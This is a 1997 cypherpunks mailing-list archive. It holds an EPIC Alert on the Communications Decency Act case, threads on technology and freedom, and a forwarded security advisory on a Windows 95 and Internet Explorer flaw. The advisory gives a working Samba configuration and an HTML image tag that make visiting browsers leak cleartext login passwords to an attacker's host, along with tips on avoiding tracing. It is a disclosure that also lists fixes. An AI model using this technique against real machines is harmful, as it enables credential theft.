simple as LAN interconnect.

In the interest of future market compatibility, Data Fellows and Nokia are
both committed to following the emerging open IP security standards.

Data Fellows is a software development company with offices in San Jose,
California, and Helsinki, Finland. Data Fellows is a technology leader in
its major business areas of anti-virus, data security and cryptography
software.

F-secure products have won several awards over the past several months.
These have included the HOT Product 1997 Award from Data Communication
magazine, Best New Networking Product from LAN Magazine and the Grand Award
in the European IT Prize competition.

Data Fellows is privately held. Annual growth in net sales has been over
100% since the company was founded in 1988.

Nokia is a Finland-based telecommunications group with a net sales of USD
8.5 billion in 1996. Nokia has approximately 31,000 employees world-wide.
Nokia is one of the two largest GSM/DCS suppliers in the world and the
leader in wireless data solutions. Nokia Telecommunications' Information
Networking Systems division develops, implements, and markets systems based
on Internet technologies to telecommunications operators.


For more information, please contact:

Mr. Jukka Kotovirta, Data Fellows Ltd.
Tel. int. +358 40 588 3933, e-mail: jukka.kotovirta@datafellows.com

Mr. Heikki Koskinen, Nokia Telecommunications
Tel. int. +358 40 502 7967, e-mail: heikki.koskinen@ntc.nokia.com

Ms. Arja Suominen, Nokia Telecommunications
Tel. int. +358 9 511 38193, e-mail: arja.suominen@ntc.nokia.com

Internet:   http://www.datafellows.com/    http://ntc.nokia.com/


--
Ari.Hypponen@DataFellows.com, World-Wide Web http://www.DataFellows.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <Banisar@epic.org>
Date: Mon, 17 Mar 1997 14:32:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: EPIC Alert 4.04 (CDA on Trial)
Message-ID: <v03020903af5375c96a7b@[204.91.138.227]>
MIME-Version: 1.0
Content-Type: text/plain



   =============================================================

       @@@@  @@@@  @@@  @@@@      @    @     @@@@  @@@@  @@@@@
       @     @  @   @   @        @ @   @     @     @  @    @
       @@@@  @@@    @   @       @@@@@  @     @@@   @@@     @
       @     @      @   @       @   @  @     @     @  @    @
       @@@@  @     @@@  @@@@    @   @  @@@@  @@@@  @   @   @

   ==============================================================
   Volume 4.04	                                  March 17, 1997
   --------------------------------------------------------------

                            Published by the
              Electronic Privacy Information Center (EPIC)
                            Washington, D.C.

                          http://www.epic.org/

                  ** SPECIAL ISSUE: THE CDA ON TRIAL **

=======================================================================
Table of Contents
=======================================================================

[1] Reno v. ACLU: The Communications Decency Act on Trial
[2] Background on the Litigation
[3] EPIC Statement on Supreme Court Argument
[4] The CDA and International Censorship
[5] EPIC Bookstore: First Amendment Reading
[6] Upcoming Conferences and Events

=======================================================================
[1] Reno v. ACLU: The Communications Decency Act on Trial
=======================================================================

On March 19, the United States Supreme Court will hear oral argument
in Reno v. ACLU, the first case to address the issue of free speech in
cyberspace.  The legal challenge to the Communications Decency Act was
initiated by the ACLU, EPIC and other organizations last February.
The high court's consideration of the case is likely to produce a
landmark constitutional decision, which is expected by July.

Immediately following the oral argument, the Reno v. ACLU plaintiffs
and lawyers will hold a news conference to offer in-depth analysis and
commentary (approximately 11:30 a.m. ET).  The event will be cybercast
live via RealAudio on the World Wide Web.

Links to the cybercast will be available at:

     http://www.epic.org/cda/

          and

     http://www.aclu.org/issues/cyber/trial/appeal.html

=======================================================================
[2] Background on the Litigation
=======================================================================

The Communications Decency Act passed Congress last February as part
of an omnibus telecommunications reform bill.  The CDA makes it a
crime, punishable by up to two years in jail and/or a $250,000 fine,
for anyone to engage in speech that is "indecent" or "patently
offensive" on computer networks if the speech can be accessed or
viewed by a minor.  The American Civil Liberties Union, joined by EPIC
and 18 other plaintiffs, filed its legal challenge to the Act on
February 8, 1996, the day it was signed into law by President Clinton.
Several weeks later, a second challenge was filed by nearly 30
plaintiffs, led by the American Library Association. That suit, known
as ALA v. DOJ, was subsequently consolidated with the ACLU case.
Although the two cases are consolidated and the legal teams have
worked together, each plaintiff group has filed separate briefs
throughout the litigation.

A three-judge panel in Philadelphia was appointed to hear the
plaintiffs' motion for preliminary injunction, and five days of
hearings were scheduled during March and April of last year.  The
panel consisted of Chief Judge Dolores K. Sloviter, Judge Stewart
Dalzell, and Judge Ronald L. Buckwalter. The proceedings included five
days of live testimony, written testimony, documentary evidence, and
detailed stipulations about the nature of the Internet.  On June 12,
the court issued a preliminary injunction barring the government from
enforcing the challenged provisions of the CDA.  The opinion makes
clear that the lower court agreed with the plaintiffs' view that the
CDA's ill-conceived effort to censor speech in the unique medium of
cyberspace violates the First Amendment.

On December 6, the Supreme Court noted probable jurisdiction in the
government's appeal of the lower court decision.  The government filed
its brief on January 21; the plaintiffs' briefs were filed on February
20. Eleven amicus ("friend of the court") briefs were also filed in
support of the plaintiffs (several of which are available online).
The government filed its reply brief on March 7.  The Supreme Court
will hear oral arguments for one hour, with the time divided equally
between the two sides.  Plaintiffs will be represented by Bruce J.
Ennis; the government by Seth Waxman of the Solicitor General's
office.

==================================================================
[3] EPIC Statement on Supreme Court Argument
==================================================================

             Supreme Court Internet Decision Will Have a
             Profound Impact on Individual Privacy Rights

March 19, 1997
Washington, DC

Contact: David Sobel, EPIC Legal Counsel 202/544-9240
         http://www.epic.org/cda/

The U.S. Supreme Court's consideration of Reno v. ACLU sets the stage
for a decision of historic significance, one that will establish a
constitutional framework for reviewing government regulation of the
Internet.  The issues extend beyond the Communications Decency Act and
go to the very essence of the information infrastructure.   The
Electronic Privacy Information Center (EPIC) has consistently stressed
both the free speech and the privacy implications of the case since
joining with the American Civil Liberties Union in challenging this
ill-advised and unconstitutional attempt to impose governmental
content regulation on emerging global electronic media. EPIC is
participating in the litigation as both plaintiff and co-counsel.

As the three-judge panel in Philadelphia recognized, the legislation's
vague "indecency" standard will have an obvious impact upon the free
speech rights of millions of Americans who use computer networks to
receive and distribute information. Less apparent is the assault on
privacy rights that the legislation, if upheld, will engender.

To avoid potential criminal liability under the CDA's "indecency"
provision, information providers would, in effect, be required to
verify the identities and ages of all recipients of material that
might be deemed inappropriate for children.  If upheld, the statutory
regime would thus result in the creation of "registration records" for
tens of thousands of Internet sites, containing detailed descriptions
of information accessed by particular recipients.  These records would
be accessible to law enforcement agencies and prosecutors
investigating alleged violations of the statute.  Such a regime would
constitute a gross violation of Americans' rights to access
information privately and anonymously.

Two years ago, the Supreme Court upheld the right to anonymous speech
in McIntyre v. Ohio Elections Commission.  EPIC believes that the
Court's rationale in that case applies with even greater force to the
Internet "indecency" provisions now under review.  The Court noted in
McIntyre that

     The decision in favor of anonymity may be motivated by fear
     of economic or official retaliation, by concern about social
     ostracism, or merely by a desire to preserve as much of one's
     privacy as possible. ...

     Anonymity is a shield from the tyranny of the majority. It
     thus exemplifies the purpose behind the Bill of Rights, and
     of the First Amendment in particular: to protect unpopular
     individuals from retaliation -- and their ideas from
     suppression -- at the hand of an intolerant society.

Whether the millions of individuals visiting sites on the Internet are
seeking information on teenage pregnancy, AIDS and other sexually
transmitted diseases, classic works of literature or avant-garde
poetry, they enjoy a Constitutional right to do so privately and
anonymously.  The Communications Decency Act seeks to destroy that
right.  If upheld, the CDA would render the Internet not only the most
censored communications medium, but also the most heavily monitored.

EPIC is confident that upon review of the legislation and its impact
upon free speech and privacy rights in emerging electronic media, the
Supreme Court will affirm the lower court decision invalidating the
CDA as fundamentally at odds with the Constitution.

=======================================================================
[4] The CDA and International Censorship
=======================================================================

Following the passage of the CDA in the United States, dozens of other
countries followed suit and imposed restrictions on Internet content,
citing the CDA as justification for their efforts at censorship.  In
many countries, the legal bans cover a broad range of material,
including news services and political discussions.  Not surprisingly,
Singapore has played a leading role in restricting Net content.
According to the U.S. State Department's description of Singaporean
law, "access to web pages that undermine public security, national
defense, racial and religious harmony, and public morals is banned. In
addition, content that tends to bring the Government into hatred or
contempt, or that excites disaffection against the Government is
forbidden."  In China, human rights groups critical of the govern-
ment's record  are "filtered," as are many U.S. newspapers. With the
help of Bay Networks, an American company, China is setting up its own
Intranet that will not permit the online distribution of critical
material. Arab countries met in Dubai last October to discuss setting
up an Arab Intranet where political discussion could be banned.  The
European Union and the OECD are currently discussing Internet content
restrictions.

In response to these trends, the Parliamentary Human Rights Foundation
recently convened a meeting in Brussels to draft "Open Internet Policy
Principles."  Among the consensus principles is a strong statement in
support of freedom of expression:

     There should be no regulation of Internet content by
     government. We understand the fundamental rights of freedom
     of expression, as embodied in Art. 19 of the Universal
     Declaration of Human Rights ("Everybody has the right ...
     to seek, receive and impart information and ideas through
     any media and regardless of frontiers" ) and in Art. 19(2)
     of the International Covenant on Civil and Political Rights
     ("Everyone shall have the right to freedom of expression;
     this right shall include freedom to seek, receive and impart
     information and ideas of all kinds, regardless of frontiers,
     either orally, in writing or in print, in the form or art or
     through any other media of his choice") -- to apply with full
     force to Internet communication.

The full text of the Open Internet Policy Principles is available at:

     http://www.phrf.org/conference

Free speech and human rights advocates from around the world have
joined together in the Global Internet Liberty Campaign to fight these
restrictions.  Members include EPIC, ACLU, Human Rights Watch, and
groups from around the world.  More information on GILC is available
at:

     http://www.gilc.org

Other information on international censorship efforts is available
from the Fight Censorship list archives at:

    http://www.eff.org/~declan/global/

=======================================================================
[5] EPIC Bookstore: First Amendment Reading
=======================================================================

The EPIC Bookstore offers a wide range of books on civil liberties,
privacy, and on-line freedom.  With the Communications Decency Act
being argued before the Supreme Court this week, we are featuring four
titles that look at the history, technology, policy and practice
behind the First Amendment:

* Make No Law: The Sullivan Case and the First Amendment by Anthony
Lewis -- Few cases have done more to shape the First Amendment than
this historic decision.

* Technologies of Freedom by Ithiel De Sola Pool -- One of the early
works on why regulating speech in cyberspace is a bad idea.

* Intellectual Freedom Manual by The Office for Intellectual Freedom,
American Library Association -- Good advice for protecting freedom in
the on-line world.

* Censored: The News That Didn't Make the News-And Why: The 1995
Project Censored Yearbook by Carl Jensen -- Sometimes it's the press
and not government that keeps important stories under wraps. Here's
what the big shots missed in 1995.

We also have an extensive collection of other titles on freedom of
expression.  Visit the EPIC Bookstore and celebrate the First
Amendment with a good book on free speech!  It can be found at:

     http://www.epic.org/bookstore/

=======================================================================
[6] Upcoming Conferences and Events
=======================================================================

Eurosec'97: the Seventh Annual Forum on Information Systems Quality
and Security. March 17 - 19, 1997. Paris, France. Sponsored by XP
Conseil. Contact: http://ourworld.compuserve.com/homepages/eurosec/

CyberRights Congress. March 20-21, 1997. Washington, DC. Sponsored by
the First Amendment Congress.  Contact:
http://www.oklahoman.net/connections/congress/

Culture and Democracy revisited in the Global Information Society.
May 8 - 10, 1997. Corfu, Greece. Sponsored by IFIP-WG9.2/9.5. Contact:
http://www.math.aegean.gr/english/eevents/econf/ecnew/ewc97.htm

CYBER://CON.97: Rules for Cyberspace?:Governance, Standards and
Control. June 4 - 7, 1997. Chicago, Illinois. Sponsored by the John
Marshall Law School. Contact: cyber97@jmls.edu.

Ethics in the Computer Society: The Second Annual Ethics and
Technology Conference. June 6 - 7, 1997. Chicago, Ill. Sponsored by
Loyola University Chicago. http://www.math.luc.edu/ethics97

Public Workshop on Consumer Privacy. June 10-13, 1997. Washington, DC.
Sponsored by the Federal Trade Commission. Contact:
http://www.ftc.gov/os/9703/privacy.htm

INET 97 -- The Internet: The Global Frontiers. June 24-27, 1997. Kuala
Lumpur, Malaysia. Sponsored by the Internet Society. Contact:
inet97@isoc.org or http://www.isoc.org/inet97

Privacy laws & Business 10th Anniversary Conference. July 1-3, 1997.
St. John's College, Cambridge, England. Contact:
info@privacylaws.co.uk.

AST3: Cryptography and Internet Privacy. Sept. 15, 1997. Brussels,
Belgium. Sponsored by Privacy International and EPIC. Contact:
pi@privacy.org. http://www.privacy.org/pi/conference/brussels/

19th Annual International Privacy and Data Protection Conference.
Sept. 17-18, 1997. Brussels, Belgium. Sponsored by Belgium Data
Protection and Privacy Commission.

International Conference on Privacy. September 23-26, 1997. Montreal,
Canada. Sponsored by the Commission d'Acces a l'information du Quebec.

Managing the Privacy Revolution '97. October 21-23, 1997. Washington,
DC. Sponsored by Privacy and American Business. Contact:
http://shell.idt.net/~pab/conf97.html


(Send calendar submissions to alert@epic.org)

=======================================================================

The EPIC Alert is a free biweekly publication of the Electronic
Privacy Information Center.  To subscribe, send email to
epic-news@epic.org with the subject: "subscribe" (no quotes) or use
the subscription form at:

      http://www.epic.org/alert/subscribe.html

Back issues are available at:

      http://www.epic.org/alert/

=======================================================================

The Electronic Privacy Information Center is a public interest
research center in Washington, DC.  It was established in 1994 to
focus public attention on emerging privacy issues such as the Clipper
Chip, the Digital Telephony proposal, national ID cards, medical
record privacy, and the collection and sale of personal information.
EPIC is sponsored by the Fund for Constitutional Government, a
non-profit organization established in 1974 to protect civil liberties
and constitutional rights.  EPIC publishes the EPIC Alert, pursues
Freedom of Information Act litigation, and conducts policy research.
For more information, email info@epic.org, HTTP://www.epic.org or
write EPIC, 666 Pennsylvania Ave., SE, Suite 301, Washington, DC
20003. +1 202 544 9240 (tel), +1 202 547 5482 (fax).

If you'd like to support the work of the Electronic Privacy
Information Center, contributions are welcome and fully
tax-deductible.  Checks should be made out to "The Fund for
Constitutional Government" and sent to EPIC, 666 Pennsylvania Ave.,
SE, Suite 301, Washington DC 20003. Individuals with First Virtual
accounts can donate at http://www.epic.org/epic/support.html

Your contributions will help support Freedom of Information Act and
First Amendment litigation, strong and effective advocacy for the
right of privacy and efforts to oppose government regulation of
encryption and funding of the National Wiretap Plan.

Thank you for your support.

---------------------- END EPIC Alert 4.04 -----------------------


=========================================================================
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003
PGP Key: http://www.epic.org/staff/banisar/key.html
=========================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 18:46:07 -0800 (PST)
To: sergey@el.net
Subject: Re: Dark Fiber Redux
In-Reply-To: <Pine.LNX.3.95.970317025954.144I-100000@void.el.net>
Message-ID: <332DF058.5DF9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sergey Goldgaber wrote:
> 
> On Sun, 16 Mar 1997, Robert Hettinga wrote:
> 
> -> In theory, at least, everyone gets a color, or frequency, and they listen
> -> on that frequency for their inbound stuff. If you want to send someone
> -> something, you literally tune them in and send it. Actually, I see these
> -> frequencies using CDMA carrier waves when it eventually happens, but you
> -> get the idea.

  It would certainly make discrimination on the basis of color a much
more precise option on the InterNet. CyberNot, for instance, could
merely block all shades of chartreuse instead of counting on Dr. Vulis
to inform them where the homo's are lurking, waiting to pounce on good
Christian children.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 18:45:32 -0800 (PST)
To: dthorn@gte.net
Subject: Crypto-Genetic-Genesis / Threat Model: Biowar
In-Reply-To: <2HTo4D6w165w@bwalk.dm.com>
Message-ID: <332DF33B.13E6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> The analogies from bio-viruses to computer equivalents is interesting
> in a crypto-anarchic context.  Be nice to hear more on this.

  DNA as the original cryptographer?
  Dr. Virus KOTC(reation) as the original code-breaker/shit-disturber?
  John Gilmore as the original host/primordal-swamp for a variety of
 crypto-anarchic life-forms?
  (I can see arguments brewing here as to who plays the 'Slime' in this
Crypto-Genetic-Genesis.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 17 Mar 1997 19:37:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Technology and loss of freedom
In-Reply-To: <199703180240.UAA09505@manifold.algebra.com>
Message-ID: <v03007806af53c00a2e6b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:20 PM -0600 3/17/97, Igor Chudov @ home wrote:

>First of all, 200 years ago it was very hard for lone people to endanger
>lives of themselves and many others. For example, the only weapons that
>were available were single shot and double shot rifles that were very
>slow to reload. Similarly, people did not have fast moving vehicles and
>any traffic did not present serious danger for innocent bystanders.

Counterexample: 200, or even 2000, years ago, it was trivially easy for
someone in a village to essentially kill the entire village by doing any
one of several things. For example, one could open the dam gates at night,
thus leaving the village with no water for crops or drinking. Or one could
open the pens holding the village's sheep and goats, thus casusing many of
them to be irretrievably lost. Or, most obviously, one could play the
Trojan Horse role and let the enemy into the village at night. (Examples of
all of these actions may be found in the usual places.)

And 200 years ago it was of course quite possible for a "traitor" to signal
the enemy, let the enemy in, etc. This happened in our own Revolutionary
War, and probably has happened in all wars.


>With the advent of technology, the balance of perceived social needs and
>government capabilities shifted radically, and it shifted away from the
>great freedoms of the past. The public perception of freedom now is that
>freedom is inherently dangerous and is a threat to the public itself.

What are these "great freedoms of the past"? Look to history.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 17 Mar 1997 20:09:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Technology and loss of freedom
Message-ID: <88CE23A0B727D0118BB000805FD47524010C1FF2@RED-81-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain



From:	ichudov@algebra.com

With the advent of technology, the balance of perceived social needs and
government capabilities shifted radically, and it shifted away from the
great freedoms of the past. The public perception of freedom now is that
freedom is inherently dangerous and is a threat to the public itself.
............................................................


The more advanced the technological creations become, the more potential
there is for disaster - in larger measure and in greater speed - and
therefore the greater need there is for preparation to deal with the new
toys and the consequences when things go wrong.   This needed
preparation includes the time required for developing concepts regarding
our human nature and our place in the artificial "man-made" world, about
"who is in control around here" - us or the machines - and what purposes
- or whose purposes - the machines serve.

But then there's always a confusion and many battles over who will serve
whose purposes, not only in regard of machines, but of governments and
societies.

Technology doesn't communicate automatically any particular message.
Anyone can interpret its existence in any way it pleases them to
interpret it.    If those who use these toys and tools every day do not
stop to identify what they are doing, and why, and who is making the
decisions in their life; if they don't make conscious choices about
their activities and the means they use to accomplish these, it is not
the technology which is to blame for the humans' default on thinking.   

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Gordon" <hermes@pe.net>
Date: Mon, 17 Mar 1997 20:19:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703180419.UAA27822@pe.net>
MIME-Version: 1.0
Content-Type: text/plain



 I need your help with PGP, I don't get any reply from the remailers
can you help?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Mar 1997 18:33:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Technology and loss of freedom
Message-ID: <199703180220.UAA09325@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi,

I have a thesis that it is the development of technology that has, over
the last 100 years, eroded the basis for and appreciation of human
freedom.  Technology has also done precious little for advancing human
freedoms (although cryptography may be an exception).

Let's first define freedom as the ability of people to do things without
forceful interference from the government. This is an arbitrary
definition, but it appears to be useful for the analysis below.

First of all, 200 years ago it was very hard for lone people to endanger
lives of themselves and many others. For example, the only weapons that
were available were single shot and double shot rifles that were very
slow to reload. Similarly, people did not have fast moving vehicles and
any traffic did not present serious danger for innocent bystanders.

Poison gases were not available, and the explosives technology
was far less advanced. Even if it was possible to set up a large
explosion, limitations in building construction made them useless.

"Hard drugs" also became available only in the recent past [please 
correct me] due to advancements in chemistry and medicine.

You can well imagine that airline terrorism could not appear before 
airlines.

No doubt that I only touched upon a very small percentage of newly
existent dangers that are created by the technology.

At the same time, developments in technology made it easy to spy on and
brainwash citizens. TV, which is the ultimate brainwashing machine, came
in play only very recently. The wiretapping is new also. It is the
remoteness feature of "bugs" that made spying so much cheaper than
hiring "stukachi" -- snitches.

If you ride a horse, there is no perceived need for an airbag or a
mandatory horse insurance. If all houses are 1 story tall, nobody is afraid
of an OK City type explosion.

With the advent of technology, the balance of perceived social needs and
government capabilities shifted radically, and it shifted away from the
great freedoms of the past. The public perception of freedom now is that
freedom is inherently dangerous and is a threat to the public itself.

Is that an evil CoNspiRaCY of purebred sovoks and Zion agents or it is a
natural consequence of inventions that dramatically changed the place of
the man in the world? I am not sure.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Mar 1997 21:45:54 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Technology and loss of freedom
In-Reply-To: <199703180220.UAA09325@manifold.algebra.com>
Message-ID: <332E2BA9.3AAF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> I have a thesis that it is the development of technology that has, over
> the last 100 years, eroded the basis for and appreciation of human
> freedom.  Technology has also done precious little for advancing human
> freedoms (although cryptography may be an exception).
> Let's first define freedom as the ability of people to do things without
> forceful interference from the government. This is an arbitrary
> definition, but it appears to be useful for the analysis below.
[snip]
> Is that an evil CoNspiRaCY of purebred sovoks and Zion agents or it is a
> natural consequence of inventions that dramatically changed the place of
> the man in the world? I am not sure.

I'd argue that the worst thing was probably television, since now
people don't go outdoors a lot and talk to their neighbors like
they used to.  Today, in most cities, you don't even know the
neighbors unless they blocked your parking space.

There are tradeoffs between the old and new - in the old society,
say, the USA circa late 1800's to early 1900's, we were much more
violent.  The big stir about shooting 4 students at Kent State
would be severly dwarfed by the mass killing of 1200 in one day
in New York city in the anti-draft riots of the mid-1860's, and
the bombings of the MOVE neighborhood in Philly circa 1985 and
WACO circa 1993 would be insignificant compared to what happened
to the American Indians.

Personal (non-government) violence was rampant long ago - men and
women as parents routinely called up the Bible verse "spare the rod
and spoil the child" to beat the living crap out of their kids.
Persons who were grown up in the 1940's and 1950's will recall the
days when parents would beat their kids in public when "necessary",
and when at home, beat kids so badly that you could hear the scream-
ing a block away.  Don't even ask about the violence against women.

This is only one example of the horrors of living in the "good old
days" - if necessary, I could catalogue some other examples.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Mon, 17 Mar 1997 22:43:17 -0800 (PST)
To: Anand Abhyankar <anand@querisoft.com>
Subject: [LONG] Windows Security (was Re: SecureFile)
Message-ID: <332E3A3C.65FAC7A4@veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I forward this because of the discussion of SecureFile and M$ CryptoAPI, 
which relies on the security of the windows password to protect keys.
Fun...

- ------------- Begin forwarded message

 Subject: BoS: http://www.security.org.il/msnetbreak/
 Resent-Date: Tue, 18 Mar 1997 16:41:20 +1100 (EST)
 Resent-From:  best-of-security@suburbia.net
        Date: Mon, 17 Mar 1997 21:14:02 -0600
        From: leph One <aleph1@DFW.NET>
          To: best-of-security@suburbia.net


                       WINDOWS 95 AND MSIE SECURITY HOLE

What's new

   It is possible from anywhere on the Internet to obtain the cleartext
   Windows 95 login password from a Windows 95 computer on a network
   connected directly to the Internet given only the IP address and the
   workgroup and leave no trace of your actions. It is untested and may
   work with Windows For Workgroups as well.

Description



   There has been recent discussion on security mailing lists concerning
   the fact that Microsoft Internet Explorer running on Windows NT will
   automatically try to log in to a remote SMB server (file server)
   without prompting the user or without the user's knowledge. By
design,
   the NT machine will transmit to this remote server the encrypted
   password and username of the user. This is documented by Aaron
   Spangler. The caveats with this are that the passwords are encrypted
   and that in many cases people do not use WWW browsers from NT
servers,
   but rather from computers running Windows 95.

   It has been explained that this same exploit does not work against
   Windows 95 because Windows 95 is only capable of accessing SMB shares
   (file sharing) if they are:
     * Connected to the same subnet.
     * In the Windows 95 computer's LMHOSTS file on startup
     * Announced to the Windows 95 computer by a Master Browser



   It is this third and final condition that can be taken advantage of
to
   obtain the cleartext password and username of any Windows 95 user who
   uses Microsoft Internet Explorer. Even careless use of Microsoft
   Network Neighborhood can exploit this hole without the requirement
   for Internet Explorer The requirements are knowledge of the user's IP
   address, workgroup name and that they access a hostile web page. The
   first two are not difficult to obtain and the third does not have to
   be an obscure page. In the last 6 months sites such as the CIA have
   been broken into. All it would require is that one un-noticeable line
   be added to the home page. Since the viewable content of the page has
   not been altered, such a change can go unnoticed for a long time.

The Exploit



   This involves the use of the Unix SMB implementation called Samba.
   There are no source changes required, but it should be compiled with
   -DDEBUG_PASSWORD.
   Samba has an option in the smb.cfg file called remote announce. This
   allows you to specify a network address (host or broadcast) and
   workgroup name to inform about your existence. I have configured the
   [global] section of the smb.conf file like this:

   workgroup = EXPLOIT
   preferred master = yes
   domain master = yes
   security = user
   debug level = 100
   remote announce = 10.0.0.255/WORKGROUP




   The only thing that must be changed is the remote announce line. The
   rest works as-is. A simple share must then be set up such as:

[exploit]
   path = /tmp
   public = no
   browsable = yes




   Nothing needs to be in the directory as nobody will ever see it. For
   the sake of untractability, change your hostname to something that
   does not exist, but ensure to create an entry for it in /etc/hosts.
   This makes your host untraceable unless the network you are
connecting
   to monitors network traffic.

   Run smbd. If you are running it from inetd, the process must at least
   start itself in order to send the broadcast. Using smbclient to
browse
   yourself is enough for this. The broadcast gets sent regardless of
   what smbd was started for.

   At this point if anyone on the target network were to look at their
   Windows 95 Network Neighborhood they would see the host "EXPLOIT".
The
   host is now vulnerable to your attack. While this step may seem a bit
   obscure and complicated, the truth is that it is very simple. I won't
   get into details here, but the methods for obtaining the workgroup
   name are easy to use and readily available. Finding a target network
   that has not protected ports 137 and 139 is also not so hard. Once
   you've done that, setting everything up to here takes a very short
   ammount of time.

   The final and easiest step is to include the following in any html
   file a user on this network accesses:
   <img src=file://\\exploit/exploit/t.gif>

   Congratulations!!! You will now see in your Samba log a line such as
   this:
   checking user=[user] pass=[INNOCENT]

What does this all mean?



   The password of any Internet-connected user running Microsoft
Internet
   Explorer on Windows 95 obtained be found in cleartext provided that
   their network administrator has not protected them from accessing
   external SMB servers by closing ports 139 and 137. If you have
   obtained the password of a user of a Windows NT server, you can now
   take the username, password and workgroup and log into that Windows
NT
   server. Your true hostname and IP address are not stored in the html
   file and I am aware of no logging of hosts that enter the browse
list.
   This means that you are not traceable, even though they are
connecting
   to your machine. If you are lucky, you found the Windows 95 machine
of
   the NT administrator and have little work left in order to access the
   NT server with administrator privileges.

Solutions


     * Use Netscape
     * Use a proxy firewall or packet filter to close off ports 137 and
       139 from external access to your network, though this still
leaves
       you at risk from internal attacks.
     * Ask Microsoft to rewrite Windows to not send passwords by
default.

Demonstration

   We're working on software that will allow anyone to try this out and
   hope to have it finished tomorrow.

Responses / Updates


     * March 17, 20:00pm: Microsoft Israel was informed of the problem
       and requested further information.
     * March 17, 22:30pm: This document initially completed.
     * March 17, 00:30am: Final tests with remote sites completed.

Credits

   Discovery by Steve Birnbaum with help from Mark Gazit.
   Additional support from Yacov Drori and Roman Lasker.

   Thanks also to hobbit for his paper on CIFS, BioH for helping to test
   this, and anyone else who helped or provided ideas.

  Disclaimer

   The details of this exploit are being released with the interest of
   security in mind. No malice or harm is intended towards any company
or
   organization. We are not responsible for any actions taken based on
   this information, harmful or otherwise.
     _________________________________________________________________

- ------------- End forwarded message.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                  http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 21:30:32 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Technology and loss of freedom
In-Reply-To: <v03007806af53c00a2e6b@[207.167.93.63]>
Message-ID: <332E206D.626F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 8:20 PM -0600 3/17/97, Igor Chudov @ home wrote:
> >With the advent of technology, the balance of perceived social needs and
> >government capabilities shifted radically, and it shifted away from the
> >great freedoms of the past. The public perception of freedom now is that
> >freedom is inherently dangerous and is a threat to the public itself.
 
> What are these "great freedoms of the past"? Look to history.

  'Freedom' has always been buggered by the 'Great Exception'. The GE
generally rests on a foundation related to denying individuals the right
to 'abuse' that freedom.
  Of course, the definition of abuse has always followed a course that
might be compared to a mathematical relationship between the position of 
ladies hemlines and the number of denominations in the 'current' One
True Religion.

  Freedom exists not so much in terms of the current/individual
definition of freedom, but in the caliber of the weapon with which
one defends their own definition of freedom.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Mar 1997 23:19:18 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Technology and loss of freedom
In-Reply-To: <199703180600.AAA11976@manifold.algebra.com>
Message-ID: <332E41AB.34BD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > There are tradeoffs between the old and new - in the old society,
> > say, the USA circa late 1800's to early 1900's, we were much more
